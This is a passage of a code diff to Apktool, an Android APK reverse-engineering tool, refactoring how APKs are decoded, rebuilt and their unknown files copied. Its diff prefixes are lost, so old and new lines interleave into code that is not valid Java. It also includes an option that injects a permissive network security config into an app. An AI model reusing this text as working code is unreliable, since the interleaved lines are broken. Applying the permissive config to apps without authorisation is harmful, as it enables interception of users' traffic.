LOGGER.warning("Could not find resources");
}
}
private boolean buildResourcesRaw() throws AndrolibException {
try {
if (!new File(mApkDir, "resources.arsc").exists()) {
return false;
}
File apkDir = new File(mApkDir, APK_DIRNAME);
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether resources has changed...");
}
if (mConfig.forceBuildAll || isModified(newFiles(APK_RESOURCES_FILENAMES, mApkDir),
newFiles(APK_RESOURCES_FILENAMES, apkDir))) {
LOGGER.info("Copying raw resources...");
mApkDir.getDirectory().copyToDir(apkDir, APK_RESOURCES_FILENAMES);
}
return true;
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private boolean buildResourcesFull() throws AndrolibException {
try {
if (!new File(mApkDir, "res").exists()) {
return false;
}
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether resources has changed...");
}
File apkDir = new File(mApkDir, APK_DIRNAME);
File resourceFile = new File(apkDir.getParent(), "resources.zip");
if (mConfig.forceBuildAll || isModified(newFiles(APP_RESOURCES_FILENAMES, mApkDir),
newFiles(APK_RESOURCES_FILENAMES, apkDir)) || (mConfig.isAapt2() && !isFile(resourceFile))) {
LOGGER.info("Building resources...");
if (mConfig.debugMode) {
if (mConfig.isAapt2()) {
LOGGER.info("Using aapt2 - setting 'debuggable' attribute to 'true' in AndroidManifest.xml");
ResXmlPatcher.setApplicationDebugTagTrue(new File(mApkDir, "AndroidManifest.xml"));
} else {
ResXmlPatcher.removeApplicationDebugTag(new File(mApkDir, "AndroidManifest.xml"));
}
}
if (mConfig.netSecConf) {
ApkInfo meta = ApkInfo.load(new ExtFile(mApkDir));
if (meta.getSdkInfo() != null && meta.getSdkInfo().get("targetSdkVersion") != null) {
if (Integer.parseInt(meta.getSdkInfo().get("targetSdkVersion")) < ResConfigFlags.SDK_NOUGAT) {
LOGGER.warning("Target SDK version is lower than 24! Network Security Configuration might be ignored!");
}
}
File netSecConfOrig = new File(mApkDir, "res/xml/network_security_config.xml");
if (netSecConfOrig.exists()) {
LOGGER.info("Replacing existing network_security_config.xml!");
//noinspection ResultOfMethodCallIgnored
netSecConfOrig.delete();
}
ResXmlPatcher.modNetworkSecurityConfig(netSecConfOrig);
ResXmlPatcher.setNetworkSecurityConfig(new File(mApkDir, "AndroidManifest.xml"));
LOGGER.info("Added permissive network security config in manifest");
}
File apkFile = File.createTempFile("APKTOOL", null);
//noinspection ResultOfMethodCallIgnored
apkFile.delete();
//noinspection ResultOfMethodCallIgnored
resourceFile.delete();
File ninePatch = new File(mApkDir, "9patch");
if (!ninePatch.exists()) {
ninePatch = null;
}
AaptInvoker invoker = new AaptInvoker(mConfig, mApkInfo);
invoker.invokeAapt(apkFile, new File(mApkDir, "AndroidManifest.xml"),
new File(mApkDir, "res"), ninePatch, null, getIncludeFiles());
ExtFile tmpExtFile = new ExtFile(apkFile);
Directory tmpDir = tmpExtFile.getDirectory();
// Sometimes an application is built with a resources.arsc file with no resources,
// Apktool assumes it will have a rebuilt arsc file, when it doesn't. So if we
// encounter a copy error, move to a warning and continue on. (#1730)
try {
tmpDir.copyToDir(apkDir,
tmpDir.containsDir("res") ? APK_RESOURCES_FILENAMES
: APK_RESOURCES_WITHOUT_RES_FILENAMES);
} catch (DirectoryException ex) {
LOGGER.warning(ex.getMessage());
} finally {
tmpExtFile.close();
}
// delete tmpDir
//noinspection ResultOfMethodCallIgnored
apkFile.delete();
}
return true;
} catch (IOException | BrutException | ParserConfigurationException | TransformerException | SAXException ex) {
throw new AndrolibException(ex);
}
}
private boolean buildManifestRaw() throws AndrolibException {
try {
File apkDir = new File(mApkDir, APK_DIRNAME);
LOGGER.info("Copying raw AndroidManifest.xml...");
mApkDir.getDirectory().copyToDir(apkDir, APK_MANIFEST_FILENAMES);
return true;
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private boolean buildManifest() throws BrutException {
try {
if (!new File(mApkDir, "AndroidManifest.xml").exists()) {
return false;
}
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether resources has changed...");
}
File apkDir = new File(mApkDir, APK_DIRNAME);
if (mConfig.forceBuildAll || isModified(newFiles(APK_MANIFEST_FILENAMES, mApkDir),
newFiles(APK_MANIFEST_FILENAMES, apkDir))) {
LOGGER.info("Building AndroidManifest.xml...");
File apkFile = File.createTempFile("APKTOOL", null);
//noinspection ResultOfMethodCallIgnored
apkFile.delete();
File ninePatch = new File(mApkDir, "9patch");
if (!ninePatch.exists()) {
ninePatch = null;
}
AaptInvoker invoker = new AaptInvoker(mConfig, mApkInfo);
invoker.invokeAapt(apkFile, new File(mApkDir, "AndroidManifest.xml"),
null, ninePatch, null, getIncludeFiles());
Directory tmpDir = new ExtFile(apkFile).getDirectory();
tmpDir.copyToDir(apkDir, APK_MANIFEST_FILENAMES);
//noinspection ResultOfMethodCallIgnored
apkFile.delete();
}
return true;
} catch (IOException | DirectoryException ex) {
throw new AndrolibException(ex);
} catch (AndrolibException ex) {
LOGGER.warning("Parse AndroidManifest.xml failed, treat it as raw file.");
return buildManifestRaw();
}
}
private void copyLibs() throws AndrolibException {
buildLibrary("lib");
buildLibrary("libs");
buildLibrary("kotlin");
buildLibrary("META-INF/services");
}
private void buildLibrary(String folder) throws AndrolibException {
File working = new File(mApkDir, folder);
if (!working.exists()) {
private void importUnknownFiles(ZipOutputStream outStream) throws AndrolibException {
File unknownDir = new File(mApkDir, "unknown");
if (!unknownDir.isDirectory()) {
return;
}
File stored = new File(mApkDir, APK_DIRNAME + "/" + folder);
if (mConfig.forceBuildAll || isModified(working, stored)) {
LOGGER.info("Copying libs... (/" + folder + ")");
try {
OS.rmdir(stored);
OS.cpdir(working, stored);
} catch (BrutException ex) {
throw new AndrolibException(ex);
}
}
}
private void copyOriginalFilesIfEnabled() throws AndrolibException {
if (mConfig.copyOriginalFiles) {
File originalDir = new File(mApkDir, "original");
if (originalDir.exists()) {
try {
LOGGER.info("Copy original files...");
Directory in = (new ExtFile(originalDir)).getDirectory();
if (in.containsFile("AndroidManifest.xml")) {
LOGGER.info("Copy AndroidManifest.xml...");
in.copyToDir(new File(mApkDir, APK_DIRNAME), "AndroidManifest.xml");
}
if (in.containsFile("stamp-cert-sha256")) {
LOGGER.info("Copy stamp-cert-sha256...");
in.copyToDir(new File(mApkDir, APK_DIRNAME), "stamp-cert-sha256");
}
if (in.containsDir("META-INF")) {
LOGGER.info("Copy META-INF...");
in.copyToDir(new File(mApkDir, APK_DIRNAME), "META-INF");
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
}
}
private void buildApk(File outApk) throws AndrolibException {
LOGGER.info("Building apk file...");
if (outApk.exists()) {
//noinspection ResultOfMethodCallIgnored
outApk.delete();
} else {
File outDir = outApk.getParentFile();
if (outDir != null && !outDir.exists()) {
//noinspection ResultOfMethodCallIgnored
outDir.mkdirs();
}
}
File assetDir = new File(mApkDir, "assets");
if (!assetDir.exists()) {
assetDir = null;
}
try (ZipOutputStream zipOutputStream = new ZipOutputStream(Files.newOutputStream(outApk.toPath()))) {
// zip all AAPT-generated files
ZipUtils.zipFoldersPreserveStream(new File(mApkDir, APK_DIRNAME), zipOutputStream, assetDir, mApkInfo.doNotCompress);
// we must copy some files manually
// this is because Aapt won't add files it doesn't know (ex unknown files)
if (mApkInfo.unknownFiles != null) {
LOGGER.info("Copying unknown files/dir...");
copyUnknownFiles(zipOutputStream, mApkInfo.unknownFiles);
}
} catch (IOException | BrutException e) {
throw new AndrolibException(e);
}
}
private void copyUnknownFiles(ZipOutputStream outputFile, Map<String, String> files)
throws BrutException, IOException {
File unknownFileDir = new File(mApkDir, UNK_DIRNAME);
// loop through unknown files
for (Map.Entry<String,String> unknownFileInfo : files.entrySet()) {
File inputFile;
try {
inputFile = new File(unknownFileDir, BrutIO.sanitizeFilepath(unknownFileDir, unknownFileInfo.getKey()));
} catch (RootUnknownFileException | InvalidUnknownFileException | TraversalUnknownFileException exception) {
LOGGER.warning(String.format("Skipping file %s (%s)", unknownFileInfo.getKey(), exception.getMessage()));
continue;
}
if (inputFile.isDirectory()) {
continue;
}
ZipEntry newEntry = new ZipEntry(unknownFileInfo.getKey());
int method = Integer.parseInt(unknownFileInfo.getValue());
LOGGER.fine(String.format("Copying unknown file %s with method %d", unknownFileInfo.getKey(), method));
if (method == ZipEntry.STORED) {
newEntry.setMethod(ZipEntry.STORED);
newEntry.setSize(inputFile.length());
newEntry.setCompressedSize(-1);
BufferedInputStream unknownFile = new BufferedInputStream(Files.newInputStream(inputFile.toPath()));
CRC32 crc = BrutIO.calculateCrc(unknownFile);
newEntry.setCrc(crc.getValue());
unknownFile.close();
} else {
newEntry.setMethod(ZipEntry.DEFLATED);
}
outputFile.putNextEntry(newEntry);
BrutIO.copy(inputFile, outputFile);
outputFile.closeEntry();
LOGGER.info("Importing unknown files...");
try {
ZipUtils.zipDir(unknownDir, outStream, mApkInfo.doNotCompress);
} catch (IOException ex) {
throw new AndrolibException(ex);
}
}
@ -533,11 +519,7 @@ public class ApkBuilder {
}
private boolean isModified(File working, File stored) {
return !stored.exists() || BrutIO.recursiveModifiedTime(working) > BrutIO .recursiveModifiedTime(stored);
}
private boolean isFile(File working) {
return working.exists();
return !stored.exists() || BrutIO.recursiveModifiedTime(working) > BrutIO.recursiveModifiedTime(stored);
}
private boolean isModified(File[] working, File[] stored) {
@ -549,29 +531,11 @@ public class ApkBuilder {
return BrutIO.recursiveModifiedTime(working) > BrutIO.recursiveModifiedTime(stored);
}
private File[] newFiles(String[] names, File dir) {
private File[] newFiles(File dir, String[] names) {
File[] files = new File[names.length];
for (int i = 0; i < names.length; i++) {
files[i] = new File(dir, names[i]);
}
return files;
}
public boolean detectWhetherAppIsFramework() throws AndrolibException {
File publicXml = new File(mApkDir, "res/values/public.xml");
if (!publicXml.exists()) {
return false;
}
Iterator<String> it;
try {
it = IOUtils.lineIterator(new FileReader(new File(mApkDir, "res/values/public.xml")));
} catch (FileNotFoundException ex) {
throw new AndrolibException(
"Could not detect whether app is framework one", ex);
}
it.next();
it.next();
return it.next().contains("0x01");
}
}

View File

@ -39,53 +39,41 @@ import java.util.regex.Pattern;
public class ApkDecoder {
private final static Logger LOGGER = Logger.getLogger(ApkDecoder.class.getName());
private final AtomicReference<RuntimeException> mBuildError = new AtomicReference<>(null);
// extensions of files that are often packed uncompressed
private final static Pattern NO_COMPRESS_EXT_PATTERN = Pattern.compile(
"dex|arsc|so|jpg|jpeg|png|gif|wav|mp2|mp3|ogg|aac|mpg|mpeg|mid|midi|smf|jet|" +
"rtttl|imy|xmf|mp4|m4a|m4v|3gp|3gpp|3g2|3gpp2|amr|awb|wma|wmv|webm|webp|mkv");
private final ExtFile mApkFile;
private final Config mConfig;
private final ApkInfo mApkInfo;
private ApkInfo mApkInfo;
private ResourcesDecoder mResDecoder;
private volatile int mMinSdkVersion = 0;
private BackgroundWorker mWorker;
private final static String SMALI_DIRNAME = "smali";
private final static String UNK_DIRNAME = "unknown";
private final static String[] APK_STANDARD_ALL_FILENAMES = new String[] {
"classes.dex", "AndroidManifest.xml", "resources.arsc", "res", "r", "R",
"lib", "libs", "assets", "META-INF", "kotlin", "stamp-cert-sha256" };
private final static String[] APK_RESOURCES_FILENAMES = new String[] {
"resources.arsc", "res", "r", "R" };
private final static String[] APK_MANIFEST_FILENAMES = new String[] {
"AndroidManifest.xml" };
private final static Pattern NO_COMPRESS_PATTERN = Pattern.compile("(" +
"jpg|jpeg|png|gif|wav|mp2|mp3|ogg|aac|mpg|mpeg|mid|midi|smf|jet|rtttl|imy|xmf|mp4|" +
"m4a|m4v|3gp|3gpp|3g2|3gpp2|amr|awb|wma|wmv|webm|webp|mkv)$");
public ApkDecoder(File apkFile) {
this(Config.getDefaultConfig(), new ExtFile(apkFile));
}
private final AtomicReference<AndrolibException> mBuildError = new AtomicReference<>(null);
public ApkDecoder(ExtFile apkFile) {
this(Config.getDefaultConfig(), apkFile);
this(apkFile, Config.getDefaultConfig());
}
public ApkDecoder(Config config, File apkFile) {
this(config, new ExtFile(apkFile));
}
public ApkDecoder(Config config, ExtFile apkFile) {
public ApkDecoder(ExtFile apkFile, Config config) {
mApkFile = apkFile;
mConfig = config;
mApkInfo = new ApkInfo(apkFile);
}
public ApkInfo decode(File outDir) throws AndrolibException, IOException, DirectoryException {
ExtFile apkFile = mApkInfo.getApkFile();
public ApkInfo decode(File outDir) throws AndrolibException {
if (!mConfig.forceDelete && outDir.exists()) {
throw new OutDirExistsException();
}
if (!mApkFile.isFile() || !mApkFile.canRead()) {
throw new InFileNotFoundException();
}
if (mConfig.jobs > 1) {
mWorker = new BackgroundWorker(mConfig.jobs - 1);
}
try {
mWorker = new BackgroundWorker(mConfig.jobs);
if (!mConfig.forceDelete && outDir.exists()) {
throw new OutDirExistsException();
}
if (!apkFile.isFile() || !apkFile.canRead()) {
throw new InFileNotFoundException();
}
mApkInfo = new ApkInfo(mApkFile);
mResDecoder = new ResourcesDecoder(mConfig, mApkInfo);
try {
OS.rmdir(outDir);
@ -95,213 +83,197 @@ public class ApkDecoder {
//noinspection ResultOfMethodCallIgnored
outDir.mkdirs();
LOGGER.info("Using Apktool " + ApktoolProperties.getVersion() + " on " + mApkInfo.apkFileName +
" with " + mConfig.jobs + " thread(s).");
LOGGER.info("Using Apktool " + ApktoolProperties.getVersion() + " on " + mApkFile.getName()
+ (mWorker != null ? " with " + mConfig.jobs + " threads" : ""));
if (mApkInfo.hasSources()) {
switch (mConfig.decodeSources) {
case Config.DECODE_SOURCES_NONE:
copySourcesRaw(outDir, "classes.dex");
break;
case Config.DECODE_SOURCES_SMALI:
case Config.DECODE_SOURCES_SMALI_ONLY_MAIN_CLASSES:
scheduleDecodeSourcesSmali(outDir, "classes.dex");
break;
decodeSources(outDir);
decodeResources(outDir);
decodeManifest(outDir);
if (mWorker != null) {
mWorker.waitForFinish();
if (mBuildError.get() != null) {
throw mBuildError.get();
}
}
if (mApkInfo.hasMultipleSources()) {
// foreach unknown dex file in root, lets disassemble it
Set<String> files = apkFile.getDirectory().getFiles(true);
for (String file : files) {
if (file.endsWith(".dex")) {
if (!file.equalsIgnoreCase("classes.dex")) {
switch(mConfig.decodeSources) {
case Config.DECODE_SOURCES_NONE:
copySourcesRaw(outDir, file);
break;
case Config.DECODE_SOURCES_SMALI:
scheduleDecodeSourcesSmali(outDir, file);
break;
case Config.DECODE_SOURCES_SMALI_ONLY_MAIN_CLASSES:
if (file.startsWith("classes") && file.endsWith(".dex")) {
scheduleDecodeSourcesSmali(outDir, file);
} else {
copySourcesRaw(outDir, file);
}
break;
}
}
}
}
}
ResourcesDecoder resourcesDecoder = new ResourcesDecoder(mConfig, mApkInfo);
if (mApkInfo.hasResources()) {
switch (mConfig.decodeResources) {
case Config.DECODE_RESOURCES_NONE:
copyResourcesRaw(outDir);
break;
case Config.DECODE_RESOURCES_FULL:
resourcesDecoder.decodeResources(outDir);
break;
}
}
if (mApkInfo.hasManifest()) {
if (mConfig.decodeResources == Config.DECODE_RESOURCES_FULL ||
mConfig.forceDecodeManifest == Config.FORCE_DECODE_MANIFEST_FULL) {
resourcesDecoder.decodeManifest(outDir);
}
else {
copyManifestRaw(outDir);
}
}
resourcesDecoder.updateApkInfo(outDir);
copyOriginalFiles(outDir);
copyRawFiles(outDir);
copyUnknownFiles(outDir);
recordUncompressedFiles(resourcesDecoder.getResFileMapping());
copyOriginalFiles(outDir);
mWorker.waitForFinish();
if (mBuildError.get() != null) {
throw mBuildError.get();
}
// In case we have no resources. We should store the minSdk we pulled from the source opcode api level
if (!mApkInfo.hasResources() && mMinSdkVersion > 0) {
mApkInfo.setSdkInfoField("minSdkVersion", Integer.toString(mMinSdkVersion));
}
writeApkInfo(outDir);
return mApkInfo;
} finally {
mWorker.shutdownNow();
if (mWorker != null) {
mWorker.shutdownNow();
}
try {
apkFile.close();
mApkFile.close();
} catch (IOException ignored) {}
}
}
private void writeApkInfo(File outDir) throws AndrolibException {
mApkInfo.save(new File(outDir, "apktool.yml"));
}
private void decodeSources(File outDir) throws AndrolibException {
if (!mApkInfo.hasSources()) {
return;
}
switch (mConfig.decodeSources) {
case Config.DECODE_SOURCES_NONE:
copySourcesRaw(outDir, "classes.dex");
break;
case Config.DECODE_SOURCES_SMALI:
case Config.DECODE_SOURCES_SMALI_ONLY_MAIN_CLASSES:
decodeSourcesSmali(outDir, "classes.dex");
break;
}
private void copyManifestRaw(File outDir) throws AndrolibException {
try {
LOGGER.info("Copying raw manifest...");
mApkInfo.getApkFile().getDirectory().copyToDir(outDir, APK_MANIFEST_FILENAMES);
Directory in = mApkFile.getDirectory();
// foreach unknown dex file in root, lets disassemble it
for (String fileName : in.getFiles(true)) {
if (fileName.endsWith(".dex") && !fileName.equals("classes.dex")) {
switch (mConfig.decodeSources) {
case Config.DECODE_SOURCES_NONE:
copySourcesRaw(outDir, fileName);
break;
case Config.DECODE_SOURCES_SMALI:
decodeSourcesSmali(outDir, fileName);
break;
case Config.DECODE_SOURCES_SMALI_ONLY_MAIN_CLASSES:
if (fileName.startsWith("classes")) {
decodeSourcesSmali(outDir, fileName);
} else {
copySourcesRaw(outDir, fileName);
}
break;
}
}
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void copySourcesRaw(File outDir, String fileName) throws AndrolibException {
LOGGER.info("Copying raw " + fileName + " file...");
try {
Directory in = mApkFile.getDirectory();
in.copyToDir(outDir, fileName);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void decodeSourcesSmali(File outDir, String fileName) throws AndrolibException {
if (mWorker != null) {
mWorker.submit(() -> {
if (mBuildError.get() == null) {
try {
decodeSourcesSmaliJob(outDir, fileName);
} catch (AndrolibException ex) {
mBuildError.compareAndSet(null, ex);
}
}
});
} else {
decodeSourcesSmaliJob(outDir, fileName);
}
}
private void decodeSourcesSmaliJob(File outDir, String fileName) throws AndrolibException {
File smaliDir;
if (fileName.equals("classes.dex")) {
smaliDir = new File(outDir, "smali");
} else {
smaliDir = new File(outDir, "smali_" + fileName.substring(0, fileName.indexOf(".")));
}
try {
OS.rmdir(smaliDir);
} catch (BrutException ex) {
throw new AndrolibException(ex);
}
//noinspection ResultOfMethodCallIgnored
smaliDir.mkdirs();
LOGGER.info("Baksmaling " + fileName + "...");
DexFile dexFile = SmaliDecoder.decode(mApkFile, smaliDir, fileName,
mConfig.baksmaliDebugMode, mConfig.apiLevel);
// record minSdkVersion for jars
int minSdkVersion = dexFile.getOpcodes().api;
if (mMinSdkVersion == 0 || mMinSdkVersion > minSdkVersion) {
mMinSdkVersion = minSdkVersion;
}
}
private void decodeResources(File outDir) throws AndrolibException {
if (!mApkInfo.hasResources()) {
return;
}
switch (mConfig.decodeResources) {
case Config.DECODE_RESOURCES_NONE:
copyResourcesRaw(outDir);
break;
case Config.DECODE_RESOURCES_FULL:
mResDecoder.decodeResources(outDir);
break;
}
}
private void copyResourcesRaw(File outDir) throws AndrolibException {
LOGGER.info("Copying raw resources...");
try {
LOGGER.info("Copying raw resources...");
mApkInfo.getApkFile().getDirectory().copyToDir(outDir, APK_RESOURCES_FILENAMES);
Directory in = mApkFile.getDirectory();
in.copyToDir(outDir, "resources.arsc");
in.copyToDir(outDir, ApkInfo.RESOURCES_DIRNAMES);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void copySourcesRaw(File outDir, String filename) throws AndrolibException {
try {
LOGGER.info("Copying raw " + filename + " file...");
mApkInfo.getApkFile().getDirectory().copyToDir(outDir, filename);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
private void decodeManifest(File outDir) throws AndrolibException {
if (!mApkInfo.hasManifest()) {
return;
}
if (mConfig.decodeResources == Config.DECODE_RESOURCES_FULL
|| mConfig.forceDecodeManifest == Config.FORCE_DECODE_MANIFEST_FULL) {
mResDecoder.decodeManifest(outDir);
} else {
copyManifestRaw(outDir);
}
}
private void scheduleDecodeSourcesSmali(File outDir, String filename) {
mWorker.submit(() -> {
try {
decodeSourcesSmali(outDir, filename);
} catch (AndrolibException e) {
mBuildError.compareAndSet(null, new RuntimeException(e));
}
});
}
private void decodeSourcesSmali(File outDir, String filename) throws AndrolibException {
private void copyManifestRaw(File outDir) throws AndrolibException {
LOGGER.info("Copying raw manifest...");
try {
File smaliDir;
if (filename.equalsIgnoreCase("classes.dex")) {
smaliDir = new File(outDir, SMALI_DIRNAME);
} else {
smaliDir = new File(outDir, SMALI_DIRNAME + "_" + filename.substring(0, filename.indexOf(".")));
}
OS.rmdir(smaliDir);
//noinspection ResultOfMethodCallIgnored
smaliDir.mkdirs();
LOGGER.info("Baksmaling " + filename + "...");
DexFile dexFile = SmaliDecoder.decode(mApkInfo.getApkFile(), smaliDir, filename,
mConfig.baksmaliDebugMode, mConfig.apiLevel);
int minSdkVersion = dexFile.getOpcodes().api;
if (mMinSdkVersion == 0 || mMinSdkVersion > minSdkVersion) {
mMinSdkVersion = minSdkVersion;
}
} catch (BrutException ex) {
Directory in = mApkFile.getDirectory();
in.copyToDir(outDir, "AndroidManifest.xml");
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void copyRawFiles(File outDir) throws AndrolibException {
LOGGER.info("Copying assets and libs...");
try {
Directory in = mApkInfo.getApkFile().getDirectory();
Directory in = mApkFile.getDirectory();
if (mConfig.decodeAssets == Config.DECODE_ASSETS_FULL) {
if (in.containsDir("assets")) {
in.copyToDir(outDir, "assets");
}
}
if (in.containsDir("lib")) {
in.copyToDir(outDir, "lib");
}
if (in.containsDir("libs")) {
in.copyToDir(outDir, "libs");
}
if (in.containsDir("kotlin")) {
in.copyToDir(outDir, "kotlin");
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private boolean isAPKFileNames(String file) {
for (String apkFile : APK_STANDARD_ALL_FILENAMES) {
if (file.startsWith("classes") && file.endsWith(".dex")) {
return true;
}
if (apkFile.equals(file) || file.startsWith(apkFile + "/")) {
return true;
}
}
return false;
}
private void copyUnknownFiles(File outDir) throws AndrolibException {
LOGGER.info("Copying unknown files...");
File unknownOut = new File(outDir, UNK_DIRNAME);
try {
Directory unk = mApkInfo.getApkFile().getDirectory();
// loop all items in container recursively, ignoring any that are pre-defined by aapt
Set<String> files = unk.getFiles(true);
for (String file : files) {
if (!isAPKFileNames(file) && !file.endsWith(".dex")) {
// copy file out of archive into special "unknown" folder
unk.copyToDir(unknownOut, file);
// let's record the name of the file, and its compression type
// so that we may re-include it the same way
mApkInfo.addUnknownFileInfo(file, String.valueOf(unk.getCompressionLevel(file)));
for (String dirName : ApkInfo.RAW_DIRNAMES) {
if ((mConfig.decodeAssets == Config.DECODE_ASSETS_FULL || !dirName.equals("assets"))
&& in.containsDir(dirName)) {
LOGGER.info("Copying " + dirName + "...");
for (String fileName : in.getDir(dirName).getFiles(true)) {
fileName = dirName + "/" + fileName;
if (!ApkInfo.ORIGINAL_FILENAMES_PATTERN.matcher(fileName).matches()) {
in.copyToDir(outDir, fileName);
}
}
}
}
} catch (DirectoryException ex) {
@ -311,29 +283,13 @@ public class ApkDecoder {
private void copyOriginalFiles(File outDir) throws AndrolibException {
LOGGER.info("Copying original files...");
File originalDir = new File(outDir, "original");
if (!originalDir.exists()) {
//noinspection ResultOfMethodCallIgnored
originalDir.mkdirs();
}
try {
Directory in = mApkInfo.getApkFile().getDirectory();
if (in.containsFile("AndroidManifest.xml")) {
in.copyToDir(originalDir, "AndroidManifest.xml");
}
if (in.containsFile("stamp-cert-sha256")) {
in.copyToDir(originalDir, "stamp-cert-sha256");
}
if (in.containsDir("META-INF")) {
in.copyToDir(originalDir, "META-INF");
Directory in = mApkFile.getDirectory();
File originalDir = new File(outDir, "original");
if (in.containsDir("META-INF/services")) {
// If the original APK contains the folder META-INF/services folder
// that is used for service locators (like coroutines on android),
// copy it to the destination folder, so it does not get dropped.
LOGGER.info("Copying META-INF/services directory");
in.copyToDir(outDir, "META-INF/services");
for (String fileName : in.getFiles(true)) {
if (ApkInfo.ORIGINAL_FILENAMES_PATTERN.matcher(fileName).matches()) {
in.copyToDir(originalDir, fileName);
}
}
} catch (DirectoryException ex) {
@ -341,36 +297,85 @@ public class ApkDecoder {
}
}
private void recordUncompressedFiles(Map<String, String> resFileMapping) throws AndrolibException {
private void copyUnknownFiles(File outDir) throws AndrolibException {
LOGGER.info("Copying unknown files...");
try {
List<String> uncompressedFilesOrExts = new ArrayList<>();
Directory unk = mApkInfo.getApkFile().getDirectory();
Set<String> files = unk.getFiles(true);
Directory in = mApkFile.getDirectory();
File unknownDir = new File(outDir, "unknown");
for (String file : files) {
if (isAPKFileNames(file) && unk.getCompressionLevel(file) == 0) {
String extOrFile = "";
if (unk.getSize(file) != 0) {
extOrFile = FilenameUtils.getExtension(file);
}
if (extOrFile.isEmpty() || !NO_COMPRESS_PATTERN.matcher(extOrFile).find()) {
extOrFile = file;
if (resFileMapping.containsKey(extOrFile)) {
extOrFile = resFileMapping.get(extOrFile);
}
}
if (!uncompressedFilesOrExts.contains(extOrFile)) {
uncompressedFilesOrExts.add(extOrFile);
}
for (String fileName : in.getFiles(true)) {
if (!ApkInfo.STANDARD_FILENAMES_PATTERN.matcher(fileName).matches()) {
in.copyToDir(unknownDir, fileName);
}
}
// update apk info
if (!uncompressedFilesOrExts.isEmpty()) {
mApkInfo.doNotCompress = uncompressedFilesOrExts;
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void writeApkInfo(File outDir) throws AndrolibException {
mResDecoder.updateApkInfo(outDir);
// in case we have no resources, we should store the minSdk we pulled from the source opcode api level
if (!mApkInfo.hasResources() && mMinSdkVersion > 0) {
mApkInfo.setMinSdkVersion(Integer.toString(mMinSdkVersion));
}
// record uncompressed files
try {
Map<String, String> resFileMapping = mResDecoder.getResFileMapping();
Set<String> uncompressedExts = new HashSet<>();
Set<String> uncompressedFiles = new HashSet<>();
Directory in = mApkFile.getDirectory();
for (String fileName : in.getFiles(true)) {
if (in.getCompressionLevel(fileName) == 0) {
String ext;
if (in.getSize(fileName) > 0
&& !(ext = FilenameUtils.getExtension(fileName)).isEmpty()
&& NO_COMPRESS_EXT_PATTERN.matcher(ext).matches()) {
uncompressedExts.add(ext);
} else {
uncompressedFiles.add(resFileMapping.getOrDefault(fileName, fileName));
}
}
}
// exclude files with an already recorded extenstion
if (!uncompressedExts.isEmpty() && !uncompressedFiles.isEmpty()) {
Iterator<String> it = uncompressedFiles.iterator();
while (it.hasNext()) {
String fileName = it.next();
String ext = FilenameUtils.getExtension(fileName);
if (uncompressedExts.contains(ext)) {
it.remove();
}
}
}
// update apk info
int doNotCompressSize = uncompressedExts.size() + uncompressedFiles.size();
if (doNotCompressSize > 0) {
List<String> doNotCompress = new ArrayList<>(doNotCompressSize);
if (!uncompressedExts.isEmpty()) {
List<String> uncompressedExtsList = new ArrayList<>(uncompressedExts);
uncompressedExtsList.sort(null);
doNotCompress.addAll(uncompressedExtsList);
}
if (!uncompressedFiles.isEmpty()) {
List<String> uncompressedFilesList = new ArrayList<>(uncompressedFiles);
uncompressedFilesList.sort(null);
doNotCompress.addAll(uncompressedFilesList);
}
if (!doNotCompress.isEmpty()) {
mApkInfo.doNotCompress = doNotCompress;
}
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
// write apk info to file
mApkInfo.save(new File(outDir, "apktool.yml"));
}
}

View File

@ -65,7 +65,7 @@ public class ApktoolProperties {
properties.load(templateStream);
version = properties.getProperty("application.version");
templateStream.close();
} catch (IOException ignored) { }
} catch (IOException ignored) {}
}
sProps.put("baksmaliVersion", version);
@ -83,7 +83,7 @@ public class ApktoolProperties {
properties.load(templateStream);
version = properties.getProperty("application.version");
templateStream.close();
} catch (IOException ignored) { }
} catch (IOException ignored) {}
}
sProps.put("smaliVersion", version);
}

View File

@ -34,8 +34,8 @@ public class BackgroundWorker {
for (Future<?> future : mWorkerFutures) {
try {
future.get();
} catch (InterruptedException | ExecutionException e) {
throw new RuntimeException(e);
} catch (InterruptedException | ExecutionException ex) {
throw new RuntimeException(ex);
}
}
mWorkerFutures.clear();

View File

@ -51,8 +51,8 @@ public class Config {
public boolean verbose = false;
public boolean copyOriginalFiles = false;
public boolean updateFiles = false;
public boolean useAapt2 = true;
public boolean noCrunch = false;
public boolean noApk = false;
// Decode options
public short decodeSources = DECODE_SOURCES_SMALI;
@ -71,13 +71,9 @@ public class Config {
public String frameworkDirectory = null;
public String frameworkTag = null;
public String aaptPath = "";
public int aaptVersion = 1; // default to v1
public int aaptVersion = 2; // default to v2
// Utility functions
public boolean isAapt2() {
return this.useAapt2 || this.aaptVersion == 2;
}
public boolean isDecodeResolveModeUsingDummies() {
return decodeResolveMode == DECODE_RES_RESOLVE_DUMMY;
}

View File

@ -25,32 +25,39 @@ import brut.directory.FileDirectory;
import java.io.*;
import java.util.*;
import java.util.regex.Pattern;
public class ApkInfo implements YamlSerializable {
public final static String[] RESOURCES_DIRNAMES = new String[] { "res", "r", "R" };
public final static String[] RAW_DIRNAMES = new String[] { "assets", "lib", "libs", "kotlin", "META-INF/services" };
public final static Pattern ORIGINAL_FILENAMES_PATTERN = Pattern.compile(
"AndroidManifest\\.xml|META-INF/[^/]+\\.(RSA|SF|MF)|stamp-cert-sha256");
public final static Pattern STANDARD_FILENAMES_PATTERN = Pattern.compile(
"[^/]+\\.dex|resources\\.arsc|(" + String.join("|", RESOURCES_DIRNAMES) + "|" +
String.join("|", RAW_DIRNAMES) + ")/.*|" + ORIGINAL_FILENAMES_PATTERN.pattern());
// only set when loaded from a file (not a stream)
private transient ExtFile mApkFile;
public String version;
public String apkFileName;
public boolean isFrameworkApk;
public UsesFramework usesFramework;
private Map<String, String> sdkInfo = new LinkedHashMap<>();
public Map<String, String> sdkInfo = new LinkedHashMap<>();
